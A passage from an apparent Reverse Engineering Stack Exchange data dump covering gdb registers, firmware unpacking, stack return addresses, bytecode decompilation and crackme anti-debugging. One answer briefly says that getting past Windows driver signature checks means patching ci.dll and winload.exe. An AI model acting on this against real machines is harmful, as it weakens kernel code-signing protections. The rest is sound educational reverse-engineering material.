        "Answer": "<p>In fact, in assembly you can find only three types of values:</p>\n\n<ol>\n<li>Numerical values;</li>\n<li>Memory addresses;</li>\n<li>Instructions (opcodes).</li>\n</ol>\n\n<p>General purpose registers, such as <code>rax</code>, <code>rbx</code>, ..., are used to store either numerical values (that will trigger the behavior of the program) or memory addresses (to know where to read/write or to jump).</p>\n\n<p>Of course, as most of human beings are used to decimal format for the values used in programs, it is important to display a decimal format when the register might contain such values.</p>\n\n<p>Now, it is important to know that memory addresses are usually given in hexadecimal format (mainly for compactness reasons). And, general purpose registers might also contain memory addresses. That is why <code>gdb</code> display both decimal and hexadecimal formats just in case one or the other is the best suitable for the current value.</p>\n\n<p>The registers <code>rsp</code>, <code>rip</code> (and <code>rbp</code>) are special cases because they are specifically used to store addresses (and only this), thus it would be of no use to translate the content of such registers into decimal format. That is why <code>gdb</code> is only giving an hexadecimal format for these registers.</p>\n\n<p>Finally, the case of the <code>rflags</code>/<code>eflags</code> is a bit special because this register has a meaning that is bit-per-bit dependent (see the following figure).</p>\n\n<p><img src=\"https://i.stack.imgur.com/slUoN.png\" alt=\"EFLAGS bit-per-bit details\"></p>\n\n<p>Therefore, giving the decimal, hexadecimal or binary format is not really useful to the user (except if you can relate the numbers to the flags instantly). But, it is much more useful to give the list of flags that are set as 'true' (this is the <code>[ IF ]</code> that you see in your example). Yet, <code>gdb</code> gives the hexadecimal value of the <code>eflags</code> as it can be accessed and used as a value in programs (I have seen this for obfuscation purpose).</p>\n"
    },
    {
        "Id": "9229",
        "CreationDate": "2015-06-25T23:20:08.980",
        "Body": "<p>I am trying to extract this <a href=\"ftp://113.160.47.142/firmware-ONT/I240w-A/FE54869ACAD07\" rel=\"noreferrer\">ONT I240w-A firmware</a> and binwalk reports some LZMA compressed data (dump below) but the fact the all of them read \"uncompressed size: -1 bytes\" makes me suspect they are false positives.  Is this a correct assumption?  Can someone provide any suggestions on how to unpack this file?</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n64613         0xFC65          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n663307        0xA1F0B         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n1277775       0x137F4F        VMware4 disk image\n1419798       0x15AA16        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n2167742       0x2113BE        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n2966631       0x2D4467        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n3649662       0x37B07E        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n4619541       0x467D15        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n5626408       0x55DA28        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n6526915       0x6397C3        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n7352076       0x702F0C        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n8028944       0x7A8310        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n8790601       0x862249        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n9628455       0x92EB27        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n10380524      0x9E64EC        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n11136805      0xA9EF25        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n11917494      0xB5D8B6        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n12590672      0xC01E50        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n13354487      0xCBC5F7        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n13954117      0xD4EC45        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n13955290      0xD4F0DA        uImage header, header size: 64 bytes, header CRC: 0xED8A6EC8, created: 2013-08-16 11:32:36, image size: 2369813 bytes, Data Address: 0x80010000, Entry Point: 0x80014110, data CRC: 0xB66029EE, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: gzip, image name: \"Linux Kernel Image\"\n13955354      0xD4F11A        gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)\n16325167      0xF91A2F        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n16476952      0xFB6B18        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n</code></pre>\n",
        "Title": "How to extract the filesystem from a I240w-A firmware",
        "Tags": "|firmware|unpacking|",
        "Answer": "<p>All the LZMA entries appear to be valid, and decompress to tar archives (-1 is a valid file size, and is used when the compressor doesn't know the size of the original data, such as when the data is passed via stdin).</p>\n\n<p>Although the tar file name is the same for most of them (\"tmp_file\"), the un-tar'd data is different; there appears to be a UBIFS file system in there, as well as plenty of plain text shell scripts and the like:</p>\n\n<pre><code>Scan Time:     2015-07-27 23:33:31\nTarget File:   /home/eve/Downloads/_FE54869ACAD07.extracted/_6397C3.extracted/tmp_file\nMD5 Checksum:  63a711b8ee1cdbb886d572dd610f7a2d\nSignatures:    332\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n40361         0x9DA9          Executable script, shebang: \"/bin/sh\"\n90177         0x16041         Executable script, shebang: \"/bin/sh\"\n113593        0x1BBB9         Executable script, shebang: \"/bin/sh\"\n197217        0x30261         Executable script, shebang: \"/bin/sh\"\n203169        0x319A1         Unix path: /opt/tools/broadlight/sysroot)I\n297561        0x48A59         Executable script, shebang: \"/bin/sh\"\n376433        0x5BE71         Executable script, shebang: \"/bin/sh\"\n388553        0x5EDC9         Executable script, shebang: \"/bin/sh\"\n396018        0x60AF2         Unix path: /../sysroot/usr/include\n415009        0x65521         Executable script, shebang: \"/bin/sh\"\n415617        0x65781         Executable script, shebang: \"/bin/sh\"\n431897        0x69719         Executable script, shebang: \"/bin/sh\"\n436698        0x6A9DA         HTML document header\n504153        0x7B159         Executable script, shebang: \"/bin/sh\"\n629257        0x99A09         Executable script, shebang: \"/bin/sh\"\n629673        0x99BA9         Executable script, shebang: \"/bin/sh\"\n630169        0x99D99         Executable script, shebang: \"/bin/sh\"\n630889        0x9A069         Executable script, shebang: \"/bin/sh\"\n678623        0xA5ADF         Unix path: /x86-linux2/../sysroot/usr/include\n\n\nScan Time:     2015-07-27 23:33:31\nTarget File:   /home/eve/Downloads/_FE54869ACAD07.extracted/_862249.extracted/tmp_file\nMD5 Checksum:  099fbe96cd12990a19fe55e2dc4b651c\nSignatures:    332\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             UBIFS superblock node, CRC: 0xD1C96755, flags: 0x0, min I/O unit size: 2048, erase block size: 129024, erase block count: 157, max erase blocks: 288, format version: 4, compression type: lzo\n129024        0x1F800         UBIFS master node, CRC: 0xCB83706A, highest inode: 1330, commit number: 0\n258048        0x3F000         UBIFS master node, CRC: 0xC7B38577, highest inode: 1330, commit number: 0\n</code></pre>\n\n<p>I don't know of any good tools to work with UBIFS though, maybe someone else here has some suggestions?</p>\n"
    },
    {
        "Id": "9230",
        "CreationDate": "2015-06-26T01:18:36.430",
        "Body": "<p>I've read that the return address of a function call is always pushed on the ESP stack. But the thing when i tried to see that using <code>gdb</code>, I didn't find it. Here's the program written in C I've used :</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nvoid test_function(int a, int b, int c, int d) {\nint flag;\nchar buffer[10];\nflag = 31337;\nbuffer[0] = 'A';\n}\n\nint main() {\n  test_function(1, 2, 3, 4);\n}\n</code></pre>\n\n<p><code>gdb</code> disassemble of this code gives me:</p>\n\n<pre><code>(gdb) disas main\nDump of assembler code for function main:\n   0x0804846c &lt;+0&gt;: push   ebp\n   0x0804846d &lt;+1&gt;: mov    ebp,esp\n   0x0804846f &lt;+3&gt;: and    esp,0xfffffff0\n   0x08048472 &lt;+6&gt;: sub    esp,0x10\n   0x08048475 &lt;+9&gt;: mov    DWORD PTR [esp+0xc],0x4\n   0x0804847d &lt;+17&gt;:    mov    DWORD PTR [esp+0x8],0x3\n   0x08048485 &lt;+25&gt;:    mov    DWORD PTR [esp+0x4],0x2\n   0x0804848d &lt;+33&gt;:    mov    DWORD PTR [esp],0x1\n=&gt; 0x08048494 &lt;+40&gt;:    call   0x804843d &lt;test_function&gt;\n   0x08048499 &lt;+45&gt;:    leave  \n   0x0804849a &lt;+46&gt;:    ret    \nEnd of assembler dump.\n(gdb) x/8xw $esp\n0xffffd650: 0x00000001  0x00000002  0x00000003  0x00000004\n0xffffd660: 0x080484a0  0x00000000  0x00000000  0xf7e21a83\n</code></pre>\n\n<p>As you can see , I've put a breakpoint at <code>0x08048494</code> (before the function call). I can see the arguments being pushed on the stack (1,2,3,4) but , I don't see the return address , which in this case should be <code>0x08048499</code>, right ?</p>\n",
        "Title": "Return address on ESP?",
        "Tags": "|stack|address|esp|",
        "Answer": "<p>Lets take this small example code:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint foo (int a)\n{\n  return a ? a &lt;&lt; 2: 1000;\n}\n\nint main()\n{\n  printf(\"The result of foo(10) is %d\\n\", foo(10));\n\n  return EXIT_SUCCESS;\n}\n</code></pre>\n\n<p>Once in assembly we get:</p>\n\n<pre><code>0000000000400506 &lt;foo&gt;:\n  400506:       55                      push   %rbp\n  400507:       48 89 e5                mov    %rsp,%rbp\n  40050a:       89 7d fc                mov    %edi,-0x4(%rbp)\n  40050d:       83 7d fc 00             cmpl   $0x0,-0x4(%rbp)\n  400511:       74 08                   je     40051b &lt;foo+0x15&gt;\n  400513:       8b 45 fc                mov    -0x4(%rbp),%eax\n  400516:       c1 e0 02                shl    $0x2,%eax\n  400519:       eb 05                   jmp    400520 &lt;foo+0x1a&gt;\n  40051b:       b8 e8 03 00 00          mov    $0x3e8,%eax\n  400520:       5d                      pop    %rbp\n  400521:       c3                      retq   \n\n0000000000400522 &lt;main&gt;:\n  400522:       55                      push   %rbp\n  400523:       48 89 e5                mov    %rsp,%rbp\n  400526:       bf 0a 00 00 00          mov    $0xa,%edi\n  40052b:       e8 d6 ff ff ff          callq  400506 &lt;foo&gt;\n  400530:       89 c6                   mov    %eax,%esi\n  400532:       bf d4 05 40 00          mov    $0x4005d4,%edi\n  400537:       b8 00 00 00 00          mov    $0x0,%eax\n  40053c:       e8 9f fe ff ff          callq  4003e0 &lt;printf@plt&gt;\n  400541:       b8 00 00 00 00          mov    $0x0,%eax\n  400546:       5d                      pop    %rbp\n  400547:       c3                      retq   \n  400548:       0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)\n  40054f:       00 \n</code></pre>\n\n<p>Lets take a look at the following <code>gdb</code> session:</p>\n\n<pre><code>(gdb) break *0x40052b\nBreakpoint 1 at 0x40052b: file frame.c, line 13.\n(gdb) break *0x400530\nBreakpoint 2 at 0x400530: file frame.c, line 13.\n</code></pre>\n\n<p>We just set a breakpoint before and after the <code>foo</code> procedure call.</p>\n\n<pre><code>(gdb) break foo\nBreakpoint 3 at 0x40050d: file frame.c, line 7.\n</code></pre>\n\n<p>We set a breakpoint in the <code>foo</code> procedure.</p>\n\n<pre><code>(gdb) run\nStarting program: /home/fleury/tmp/tests/frame \n\nBreakpoint 1, 0x000000000040052b in main () at frame.c:13\n13    printf(\"The result of foo(10) is %d\\n\", foo(10));\n</code></pre>\n\n<p>We start the program and we hit the first breakpoint before the call to <code>foo</code>.</p>\n\n<pre><code>(gdb) info frame\nStack level 0, frame at 0x7fffffffe0c0:\n rip = 0x40052b in main (frame.c:13); saved rip = 0x7ffff7a54b45\n source language c.\n Arglist at 0x7fffffffe0b0, args: \n Locals at 0x7fffffffe0b0, Previous frame's sp is 0x7fffffffe0c0\n Saved registers:\n  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8\n</code></pre>\n\n<p>We asked information about the stack frame environment. We can notice that <code>save rip = 0x7ffff7a54b45</code> (which is the return address of the <code>main</code> procedure).</p>\n\n<pre><code>(gdb) continue\nContinuing.\n\nBreakpoint 3, foo (a=10) at frame.c:7\n7     return a ? a &lt;&lt; 2: 1000;\n</code></pre>\n\n<p>We continue the execution of the program and got stopped inside the <code>foo</code> procedure (third breakpoint). Lets ask about the stack frame:</p>\n\n<pre><code> (gdb) info frame\n Stack level 0, frame at 0x7fffffffe0b0:\n  rip = 0x40050d in foo (frame.c:7); saved rip = 0x400530\n called by frame at 0x7fffffffe0c0\n source language c.\n Arglist at 0x7fffffffe0a0, args: a=10\n Locals at 0x7fffffffe0a0, Previous frame's sp is 0x7fffffffe0b0\n Saved registers:\n  rbp at 0x7fffffffe0a0, rip at 0x7fffffffe0a8\n</code></pre>\n\n<p>Note that <code>saved rip = 0x400530</code> which is exactly the position of the next assembly instruction after the <code>call foo</code>.</p>\n\n<pre><code>(gdb) continue\nContinuing.\n\nBreakpoint 2, 0x0000000000400530 in main () at frame.c:13\n13    printf(\"The result of foo(10) is %d\\n\", foo(10));\n</code></pre>\n\n<p>We keep going in the execution and we reach the second breakpoint at the exit of the <code>foo</code> procedure. Again, lets ask for the return address:</p>\n\n<pre><code>(gdb) info frame\nStack level 0, frame at 0x7fffffffe0c0:\n rip = 0x400530 in main (frame.c:13); saved rip = 0x7ffff7a54b45\n source language c.\n Arglist at 0x7fffffffe0b0, args: \n Locals at 0x7fffffffe0b0, Previous frame's sp is 0x7fffffffe0c0\n Saved registers:\n  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8\n</code></pre>\n\n<p>It has been restored to the original value when we popped out of <code>foo</code>.</p>\n\n<p>In fact, the <code>info frame</code> (shortened into <code>i f</code>) also tell where to find the stored return address on the stack:</p>\n\n<pre><code> Saved registers:\n  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8\n</code></pre>\n\n<p>And, if you ask <code>gdb</code> to display the content of <code>0x7fffffffe0b8</code> you should see <code>0x7ffff7a54b45</code>:</p>\n\n<pre><code>(gdb) print /x *0x7fffffffe0b8\n$1 = 0x7ffff7a54b45\n</code></pre>\n"
    },
    {
        "Id": "9233",
        "CreationDate": "2015-06-26T16:38:18.320",
        "Body": "<p>From the recent dissasembly of \"HelloWorld.exe\" compiled by MSVC:</p>\n\n<pre><code>.text:00411279                 call    ds:__imp__printf\n</code></pre>\n\n<p>So, why base address is data segment, not a code segment (which would be a more logical thing to do?)  </p>\n\n<p>Project uses Multithreaded Debug Dll as runtime library.</p>\n",
        "Title": "Why does windows put standard functions base address in Data Segment?",
        "Tags": "|disassembly|windows|",
        "Answer": "<p>The <code>ds:</code> was added by IDA, not by the compiler.  If you look at the raw opcode bytes, you will see that there is no DS override prefix in the instruction.  It's silly that it does this.</p>\n\n<p>IDA adds that <code>ds:</code> prefix because otherwise you wouldn't know that this is an indirect call--that is, that it's reading a 32-bit variable at an address named <code>__imp__printf</code> then calling the address stored in that variable.  Without the <code>ds:</code>, it would be just be calling <code>__imp__printf</code> directly.</p>\n\n<p>If IDA used a better assembly language syntax--namely, the nasm syntax--that instruction would look like simply this, using brackets to show that it is a memory read (and <code>dword</code> to distinguish from a few other weird types of <code>call</code>):</p>\n\n<pre><code>.text:00411279             call dword [__imp__printf]\n</code></pre>\n\n<p>Windows, like pretty much every other 32-bit OS, has a flat address space.  CS, DS, ES and SS all have the same base address, 0, so it doesn't matter which segment you use as your base.  (Except that you can't do a memory write if CS is your segment.)  FS and GS have different bases, since the major OS's all use them for thread-local storage, but those will always have explicit prefix bytes in the instruction.</p>\n"
    },
    {
        "Id": "9243",
        "CreationDate": "2015-06-28T13:26:44.743",
        "Body": "<h2>Introduction</h2>\n\n<p>Since <strong>Windows Vista</strong> and higher versions a non-boot kernel-mode driver is installed by validating the certificate issued to sign the catalog file and each file associated with the catalog : .inf, .sys and .dll dependencies.</p>\n\n<p>This is done by checking whether the certificate chain is valid, that means that the root <em>CA</em> has to be under the local Trusted Root <em>CA</em> and also the leaf certificate (not the root <em>CA</em>) has to be under the Trusted Publisher, so the installation doesn't prompt to ask the user if he trusts in the publisher.</p>\n\n<p>However, when the installation finishes the driver fails to load into the kernel. I suppose that winload validates the driver's certificate by looking in its own trusted root <em>CA</em> store, so the only <em>CA</em>s that are supported are in this list : </p>\n\n<ul>\n<li><strong><a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/dn170454%28v=vs.85%29.aspx\" rel=\"nofollow\">Cross-Certificates for Kernel Mode Code Signing</a></strong></li>\n</ul>\n\n<hr>\n\n<h2>Question</h2>\n\n<p>Is there a way to patch <strong>winload</strong> to insert a new Root <em>CA</em> so when it loads our driver it validates the certificate correctly? </p>\n\n<p>I know that modifying <strong>winload</strong> will break its digital signature, so we can resign it using the private key of our new Root <em>CA</em>, that will do the work theoretically.</p>\n",
        "Title": "Patch driver loading process",
        "Tags": "|windows|kernel-mode|patching|driver|operating-systems|",
        "Answer": "<p>Yes, you would need to patch <code>ci.dll</code> (which contains the list of hardcoded Root CAs) and <code>winload.exe</code> (which validates the integrity of <code>ci.dll</code>).</p>\n\n<p>You can find this discussed in <a href=\"http://www.programdevelop.com/4608016/\" rel=\"nofollow\">http://www.programdevelop.com/4608016/</a>.</p>\n"
    },
    {
        "Id": "9245",
        "CreationDate": "2015-06-28T23:52:14.100",
        "Body": "<p>I'm trying to reverse engineer a proprietary scripting \"compiled bytecode\" So I can recover source codes of contractor who has gone.</p>\n\n<p>While I worked out the majority of it, I'm trying to work out how to translate expressions back into code. Wondering if anyone may have some ideas from the patterns below the sort of logic that might be used to rebuild the equations. In particular how operators may be applied back to the components of the expression.</p>\n\n<p>Specifically I'm trying to work out how to decompile these two expressions:</p>\n\n<pre><code>A = B * C+D/E-F\nA = B * (C+D)/E-F\n</code></pre>\n\n<p>Operation Codes ,this was worked out from examples provided below</p>\n\n<pre><code>22 04 &gt;\n2B 04 &lt;\n32 04 *\n01 04 +\n17 04 /\n55 04 -\n25 00 AND\n27 00 OR\n26 04 end of statement\n</code></pre>\n\n<p>Type of assignment:</p>\n\n<pre><code>3D 40 xx xx       = Variable xx xx \n3D 45 xx xx xx xx = 4 byte number\n4B xx             = One byte value\n48 xx             = One byte value\n38 40 xx xx       = Assign result to variable xx xx\n</code></pre>\n\n<p>In this example the variables are:</p>\n\n<pre><code>A = 00 00\nB = 00 04\nC = 00 08\nD = 00 0C\nE = 00 10\nF = 00 14\n</code></pre>\n\n<p>Example:</p>\n\n<p>A = 10*20+30/40-50/2</p>\n\n<pre><code>4B AF       ; 175 \n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>A = 10*B+30/40-50/2</p>\n\n<pre><code>48 0A       ; 10\n3D 40 00 04 ; B \n32 04       ; *\n48 00       ; 0\n01 04       ; +\n48 19       ; 25\n55 04       ; -\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A = B+C</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n01 04       ; +\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A = B*C</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A = B-C</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n55 04       ; -\n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>A = B/C</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n17 04       ; / \n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>A = B*C+D-E/F</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n3D 40 00 0C ; D\n01 04       ; +\n3D 40 00 10 ; E\n3D 40 00 14 ; F\n17 04       ; /\n55 04       ; -\n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>A = B*C+D/E-F</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n3D 40 00 0C ; D\n3D 40 00 10 ; E\n17 04       ; / \n01 04       ; +\n3D 40 00 14 ; F\n55 04       ; -\n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>A = B*(C+D)/E-F</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n3D 40 00 0C ; D\n01 04       ; +\n32 04       ; *\n3D 40 00 10 ; E\n17 04       ; /\n3D 40 00 14 ; F\n55 04       ; -\n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>A = B+C * D</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C \n3D 40 00 0C ; D\n32 04       ; * \n01 04       ; +\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A=(B+C) * D</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n01 04       ; +\n3D 40 00 0C ; D\n32 04       ; *\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A=B+C+D * E</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n01 04       ; +\n3D 40 00 0C ; D\n3D 40 00 10 ; E\n32 04       ; *\n01 04       ; +\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A=(B+C+D) * E</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n01 04       ; +\n3D 40 00 0C ; D\n01 04       ; +\n3D 40 00 10 ; E\n32 04       ; *\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A=A+B * C+D+E * F</p>\n\n<pre><code>3D 40 00 00 ; A\n3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n01 04       ; +\n3D 40 00 0C ; D\n01 04       ; +\n3D 40 00 10 ; E\n3D 40 00 14 ; F\n32 04       ; *\n01 04       ; +\n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>A=(A+B) * (C+D)+E * F</p>\n\n<pre><code>3D 40 00 00 ; A\n3D 40 00 04 ; B\n01 04       ; + \n3D 40 00 08 ; C\n3D 40 00 0C ; D\n01 04       ; +   \n32 04       ; *\n3D 40 00 10 ; E\n3D 40 00 14 ; F\n32 04       ; *\n01 04       ; +\n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>A=A+B+(C * D)+E</p>\n\n<pre><code>3D 40 00 00 ; A\n3D 40 00 04 ; B\n01 04       ; +\n3D 40 00 08 ; C\n3D 40 00 0C ; D\n32 04       ; *\n01 04       ; +\n3D 40 00 10 ; E\n01 04       ; + \n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A=A+B+(C* D *E)+F</p>\n\n<pre><code>3D 40 00 00 ; A\n3D 40 00 04 ; B\n01 04       ; +\n3D 40 00 08 ; C\n3D 40 00 0C ; D\n32 04       ; *\n3D 40 00 10 ; E\n32 04       ; *\n01 04       ; +\n3D 40 00 14 ; F\n01 04       ; +\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A=B-C</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n55 04       ; -\n38 40 00 00 ; assign result to A\n</code></pre>\n\n<p>A=B*C+D-E/F</p>\n\n<pre><code>3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n3D 40 00 0C ; D\n01 04       ; +\n3D 40 00 10 ; E\n3D 40 00 14 ; F\n17 04       ; -\n55 04       ; /\n38 40 00 00 ; Assign result to A\n</code></pre>\n\n<p>Boolean Expressions</p>\n\n<p>512 &lt; A</p>\n\n<pre><code>3D 45 00 00 02 00 ; 512\n3D 40 00 00       ; variable A\n2B 04             ; &lt;\n26 00             ; end of expression\n00 7E             ; ?\n</code></pre>\n\n<p>a>B and b128 or d>1024 or e>128</p>\n\n<pre><code>3D 40 00 00 ; A\n3D 40 00 04 ; B\n22 04       ; &gt;\n25 00       ; AND\n00 CC       ;\n3D 40 00 04 ; B\n3D 40 00 08 ; C\n2B 04       ; &lt;\n25 00       ; AND\n00 CC       ;\n3D 40 00 08 ; C\n4B 80       ; 128\n22 04       ; &gt;\n27 00       ; OR \n00 E8       ;\n3D 40 00 0C ; D \n3D 45 00 00 04 00 ; 1024\n22 04       ; &gt;\n27 00       ; OR \n00 E8       ; \n3D 40 00 10 ; E\n4B 80       ; 128\n22 04       ; &gt;\n26 00       ; end of expression\n01 14       ; ?\n</code></pre>\n",
        "Title": "reversing bytcode - trying to work decompiling expression",
        "Tags": "|file-format|",
        "Answer": "<p>Thanks to response from Jongware who correctly identified this as reverse polish notation, which needed to be converted to \"infix\"</p>\n\n<p>Tested on some samples</p>\n\n<p>Original:</p>\n\n<p>1) A=B * C+D-E/F</p>\n\n<p>2) A=B * C+D/E-F</p>\n\n<p>3) A=B * (C+D)/E-F</p>\n\n<p>Decompiled:</p>\n\n<p>1) A=(((B * C)+D)-(E/F))</p>\n\n<p>2) A=(((B * C)+(D/E))-F)</p>\n\n<p>3) A=(((B* (C+D))/E)-F)</p>\n\n<p>If this helps anyone else this is the prototype processing code in C#, which I've verified works correctly. This code needs further improvement, but it does work for this scenario described.</p>\n\n<pre><code>    // instruction is a byte[] array containing the code to decode\n    Stack&lt;string&gt; stack = new Stack&lt;string&gt;();\n    string op;\n    byte[] bit32=new byte[4];\n    string result;\n\n    for (int i = 0; i &lt; instruction.Length;i++ )\n    {\n        op=\"\";\n        switch (instruction[i])\n        {\n            case 0x22:\n                op=\"&gt;\";\n                i++;\n                break;\n            case 0x2B:\n                op=\"&lt;\";\n                i++;\n                break;\n            case 0x32:\n                op=\"*\";\n                i++;\n                break;\n        case 0x01:\n            op=\"+\";\n            i++;\n            break;\n        case 0x17:\n            op=\"/\";\n            i++;\n            break;\n        case 0x55:\n            op=\"-\";\n            i++;\n            break;\n        case 0x38:\n            i++;\n\n            if (instruction[i]==0x40)\n            {\n                // builds the final result, and adds it to textboxDecompiledText\n                i++;\n                result = string.Format(\"{0}={1}\", string.Format(\"S{0:X2}{1:X2}\", instruction[i], instruction[i + 1]),\n                stack.Pop());\n\n                i++;\n\n                textBoxDecompiled.Text += result;\n                break;\n\n            }\n            break;\n        case 0x4B: // 1 byte integer\n        case 0x48:\n            i++;\n            stack.Push(((int)instruction[i]).ToString());\n            break;\n        case 0x3D:\n            i++;\n            switch (instruction[i])\n            {\n                case 0x40: // variable\n                    i++;\n                    string currentVariable= string.Format(\"S{0:X2}{1:X2}\", instruction[i], instruction[i + 1]);\n                    stack.Push(currentVariable);\n                    i += 1;\n                    break;\n                case 0x45: // 4 byte integer\n                    i++;\n                    Buffer.BlockCopy(instruction,i,bit32,0,4);\n                    Array.Reverse(bit32);\n                    int bit32result = BitConverter.ToInt32(instruction, 0);\n                    stack.Push(bit32result.ToString());\n                    i+=3;\n                    break;\n\n\n            }\n            break;\n\n    }\n\n    // check if we have an operator\n    if (!string.IsNullOrEmpty(op))\n    {\n        if (stack.Count &gt;= 2)\n        {\n            string op2 = stack.Pop();\n            string op1 = stack.Pop();\n            stack.Push(string.Format(\"({0}{1}{2})\", op1, op, op2));\n        }\n        else\n        {\n            // something wrong here!\n            throw new InvalidOperationException();\n        }\n    }\n}\n</code></pre>\n"
    },
    {
        "Id": "9251",
        "CreationDate": "2015-06-29T14:03:32.350",
        "Body": "<p>I am debugging some quiz program called \"abex crackme 1\"</p>\n\n<p>When I execute this program without debugging, it shows a simple message box, which reads \"Make me think your HD is a CD-Rom\"</p>\n\n<p>After I click OK button, it smoothly works without any problem.</p>\n\n<p>But when I debug this program, I am getting into endless loop.</p>\n\n<p>The program code is like this:\nFirst, it calls some function from dll to initialize something. But I think it doesn't matter now.</p>\n\n<p>And, It pushes some parameters and calls WinAPI function \"MessageBox A\" (see below)\n<img src=\"https://i.stack.imgur.com/zKtOn.png\" alt=\"5th line is what i am referring to\">\nWhen I tries to step over this Call instruction in ollydbg, a message box pops up. When I click OK button like i did, i can't escape some block of code(picture 2)\n<img src=\"https://i.stack.imgur.com/xepBg.png\" alt=\"Endless loop\"></p>\n\n<p>I don't know why this is happening only when i am debugging.</p>\n",
        "Title": "Why do i get into endless loop in winapi when i am debugging?",
        "Tags": "|ollydbg|winapi|",
        "Answer": "<p>Look closely at the code you're looping within: it uses the FS register in several places. Now, googling for \"windows FS register\" tells you that this holds the segment of the <code>TIB</code> for <em>Thread Information Block</em>. And the first entry in that block, at byte offset 0, has the address of the current <code>SEH</code>, <em>Structured Exception Handler</em>.</p>\n\n<p>Your code above is writing to that SEH, so it's reasonable to assume (as this is within ntdll.dll) that this is the part of the kernel that processes (possibly nested) exceptions. Seems that your application somehow detects the presence of a debugger, and sets up a bogus exception handler in that case. Probably this happens way before your <code>MessageBoxA</code> call.</p>\n\n<p>I'd check the assembly code if there is any call to <code>IsDebuggerPresent</code>. Or, maybe, it gets the address of the current PEB (Process Environment Block) at <code>[fs:0x30]</code>, and reads the second byte of it, which is a <code>BeingDebugged</code> flag. Probably your code uses some of these to check for a debugger, and does something to the exception handler in that case.</p>\n\n<p>Also, your sample may just set up an exception handler, then execute an 'illegal' instruction, like <code>sti</code>, or access an unmapped memory location. This will raise the exception; but if you just single step your program, Olly won't know the exception is going to 